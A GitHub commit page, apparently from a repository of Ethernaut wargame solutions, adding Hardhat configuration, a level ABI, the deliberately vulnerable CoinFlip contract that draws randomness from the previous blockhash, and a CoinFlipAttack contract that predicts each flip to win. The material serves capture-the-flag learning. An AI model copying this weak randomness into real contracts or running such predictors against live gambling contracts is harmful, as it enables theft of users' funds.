-
Notifications
You must be signed in to change notification settings - Fork 10
Commit
This commit does not belong to any branch on this repository, and may belong to a fork outside of the repository.
- Loading branch information
Showing
11 changed files
with
34,133 additions
and
0 deletions.
There are no files selected for viewing
This file contains bidirectional Unicode text that may be interpreted or compiled differently than what appears below. To review, open the file in an editor that reveals hidden Unicode characters.
Learn more about bidirectional Unicode characters
Original file line number | Diff line number | Diff line change |
---|---|---|
@@ -0,0 +1,2 @@ | ||
ALCHEMY_API_KEY= | ||
ROPSTEN_PRIVATE_KEY= |
This file contains bidirectional Unicode text that may be interpreted or compiled differently than what appears below. To review, open the file in an editor that reveals hidden Unicode characters.
Learn more about bidirectional Unicode characters
Original file line number | Diff line number | Diff line change |
---|---|---|
@@ -0,0 +1,8 @@ | ||
node_modules | ||
.env | ||
|
||
#Hardhat files | ||
cache | ||
artifacts | ||
dist | ||
local |
This file contains bidirectional Unicode text that may be interpreted or compiled differently than what appears below. To review, open the file in an editor that reveals hidden Unicode characters.
Learn more about bidirectional Unicode characters
Original file line number | Diff line number | Diff line change |
---|---|---|
@@ -0,0 +1,16 @@ | ||
{ | ||
"overrides": [ | ||
{ | ||
"files": "*.sol", | ||
"options": { | ||
"printWidth": 120, | ||
"tabWidth": 2, | ||
"useTabs": false, | ||
"singleQuote": false, | ||
"bracketSpacing": false, | ||
"explicitTypes": "always", | ||
"semi": true | ||
} | ||
} | ||
] | ||
} |
This file contains bidirectional Unicode text that may be interpreted or compiled differently than what appears below. To review, open the file in an editor that reveals hidden Unicode characters.
Learn more about bidirectional Unicode characters
Original file line number | Diff line number | Diff line change |
---|---|---|
@@ -0,0 +1,131 @@ | ||
[ | ||
{ | ||
"anonymous": false, | ||
"inputs": [ | ||
{ | ||
"indexed": true, | ||
"internalType": "address", | ||
"name": "player", | ||
"type": "address" | ||
}, | ||
{ | ||
"indexed": false, | ||
"internalType": "contract Level", | ||
"name": "level", | ||
"type": "address" | ||
} | ||
], | ||
"name": "LevelCompletedLog", | ||
"type": "event" | ||
}, | ||
{ | ||
"anonymous": false, | ||
"inputs": [ | ||
{ | ||
"indexed": true, | ||
"internalType": "address", | ||
"name": "player", | ||
"type": "address" | ||
}, | ||
{ | ||
"indexed": false, | ||
"internalType": "address", | ||
"name": "instance", | ||
"type": "address" | ||
} | ||
], | ||
"name": "LevelInstanceCreatedLog", | ||
"type": "event" | ||
}, | ||
{ | ||
"anonymous": false, | ||
"inputs": [ | ||
{ | ||
"indexed": true, | ||
"internalType": "address", | ||
"name": "previousOwner", | ||
"type": "address" | ||
}, | ||
{ | ||
"indexed": true, | ||
"internalType": "address", | ||
"name": "newOwner", | ||
"type": "address" | ||
} | ||
], | ||
"name": "OwnershipTransferred", | ||
"type": "event" | ||
}, | ||
{ | ||
"inputs": [ | ||
{ | ||
"internalType": "contract Level", | ||
"name": "_level", | ||
"type": "address" | ||
} | ||
], | ||
"name": "createLevelInstance", | ||
"outputs": [], | ||
"stateMutability": "payable", | ||
"type": "function" | ||
}, | ||
{ | ||
"inputs": [], | ||
"name": "owner", | ||
"outputs": [ | ||
{ | ||
"internalType": "address", | ||
"name": "", | ||
"type": "address" | ||
} | ||
], | ||
"stateMutability": "view", | ||
"type": "function" | ||
}, | ||
{ | ||
"inputs": [ | ||
{ | ||
"internalType": "contract Level", | ||
"name": "_level", | ||
"type": "address" | ||
} | ||
], | ||
"name": "registerLevel", | ||
"outputs": [], | ||
"stateMutability": "nonpayable", | ||
"type": "function" | ||
}, | ||
{ | ||
"inputs": [], | ||
"name": "renounceOwnership", | ||
"outputs": [], | ||
"stateMutability": "nonpayable", | ||
"type": "function" | ||
}, | ||
{ | ||
"inputs": [ | ||
{ | ||
"internalType": "address payable", | ||
"name": "_instance", | ||
"type": "address" | ||
} | ||
], | ||
"name": "submitLevelInstance", | ||
"outputs": [], | ||
"stateMutability": "nonpayable", | ||
"type": "function" | ||
}, | ||
{ | ||
"inputs": [ | ||
{ | ||
"internalType": "address", | ||
"name": "newOwner", | ||
"type": "address" | ||
} | ||
], | ||
"name": "transferOwnership", | ||
"outputs": [], | ||
"stateMutability": "nonpayable", | ||
"type": "function" | ||
} | ||
] |
This file contains bidirectional Unicode text that may be interpreted or compiled differently than what appears below. To review, open the file in an editor that reveals hidden Unicode characters.
Learn more about bidirectional Unicode characters
Original file line number | Diff line number | Diff line change |
---|---|---|
@@ -0,0 +1,35 @@ | ||
// SPDX-License-Identifier: MIT | ||
pragma solidity ^0.6.0; | ||
|
||
import "@openzeppelin/contracts/math/SafeMath.sol"; | ||
|
||
contract CoinFlip { | ||
using SafeMath for uint256; | ||
uint256 public consecutiveWins; | ||
uint256 lastHash; | ||
uint256 FACTOR = 57896044618658097711785492504343953926634992332820282019728792003956564819968; | ||
|
||
constructor() public { | ||
consecutiveWins = 0; | ||
} | ||
|
||
function flip(bool _guess) public returns (bool) { | ||
uint256 blockValue = uint256(blockhash(block.number.sub(1))); | ||
|
||
if (lastHash == blockValue) { | ||
revert(); | ||
} | ||
|
||
lastHash = blockValue; | ||
uint256 coinFlip = blockValue.div(FACTOR); | ||
bool side = coinFlip == 1 ? true : false; | ||
|
||
if (side == _guess) { | ||
consecutiveWins++; | ||
return true; | ||
} else { | ||
consecutiveWins = 0; | ||
return false; | ||
} | ||
} | ||
} |
This file contains bidirectional Unicode text that may be interpreted or compiled differently than what appears below. To review, open the file in an editor that reveals hidden Unicode characters.
Learn more about bidirectional Unicode characters
Original file line number | Diff line number | Diff line change |
---|---|---|
@@ -0,0 +1,31 @@ | ||
pragma solidity ^0.6.0; | ||
|
||
import "./3_CoinFlip.sol"; | ||
import "@openzeppelin/contracts/math/SafeMath.sol"; | ||
|
||
contract CoinFlipAttack { | ||
using SafeMath for uint256; | ||
|
||
uint256 constant FACTOR = 57896044618658097711785492504343953926634992332820282019728792003956564819968; | ||
|
||
CoinFlip public target; | ||
uint256 lastBlockNumberRun; | ||
|
||
event CurrentWins(uint256 indexed wins); | ||
|
||
constructor(CoinFlip _target) public { | ||
target = _target; | ||
} | ||
|
||
function guess() public { | ||
require(block.number > lastBlockNumberRun, "Already ran this block!"); | ||
lastBlockNumberRun = block.number; | ||
|
||
uint256 blockValue = uint256(blockhash(block.number.sub(1))); | ||
uint256 coinFlip = blockValue.div(FACTOR); | ||
bool side = coinFlip == 1 ? true : false; | ||
|
||
target.flip(side); | ||
emit CurrentWins(target.consecutiveWins()); | ||
} | ||
} |
This file contains bidirectional Unicode text that may be interpreted or compiled differently than what appears below. To review, open the file in an editor that reveals hidden Unicode characters.
Learn more about bidirectional Unicode characters
Original file line number | Diff line number | Diff line change |
---|---|---|
@@ -0,0 +1,61 @@ | ||
import "@atixlabs/hardhat-time-n-mine"; | ||
import "@atixlabs/hardhat-time-n-mine/dist/src/type-extensions"; | ||
import "@nomiclabs/hardhat-waffle"; | ||
import dotenv from "dotenv"; | ||
import "hardhat-gas-reporter"; | ||
import "hardhat-tracer"; | ||
import { task } from "hardhat/config"; | ||
|
||
dotenv.config(); | ||
|
||
// This is a sample Hardhat task. To learn how to create your own go to | ||
// https://hardhat.org/guides/create-task.html | ||
task("accounts", "Prints the list of accounts", async (args, hre) => { | ||
const accounts = await hre.ethers.getSigners(); | ||
|
||
for (const account of accounts) { | ||
console.log(await account.address); | ||
} | ||
}); | ||
|
||
// You need to export an object to set up your config | ||
// Go to https://hardhat.org/config/ to learn more | ||
|
||
export default { | ||
solidity: { | ||
compilers: [ | ||
{ | ||
version: "0.8.7", | ||
settings: { | ||
outputSelection: { | ||
"*": { | ||
"*": ["storageLayout"], | ||
}, | ||
}, | ||
}, | ||
}, | ||
{ | ||
version: "0.6.0", | ||
settings: { | ||
outputSelection: { | ||
"*": { | ||
"*": ["storageLayout"], | ||
}, | ||
}, | ||
}, | ||
}, | ||
], | ||
}, | ||
networks: { | ||
ropsten: { | ||
url: `https://eth-ropsten.alchemyapi.io/v2/${process.env.ALCHEMY_API_KEY}`, | ||
accounts: | ||
process.env.PRIVATE_KEY !== undefined ? [process.env.PRIVATE_KEY] : [], | ||
}, | ||
rinkeby: { | ||
url: `https://eth-rinkeby.alchemyapi.io/v2/${process.env.ALCHEMY_API_KEY}`, | ||
accounts: | ||
process.env.PRIVATE_KEY !== undefined ? [process.env.PRIVATE_KEY] : [], | ||
}, | ||
}, | ||
}; |
Oops, something went wrong.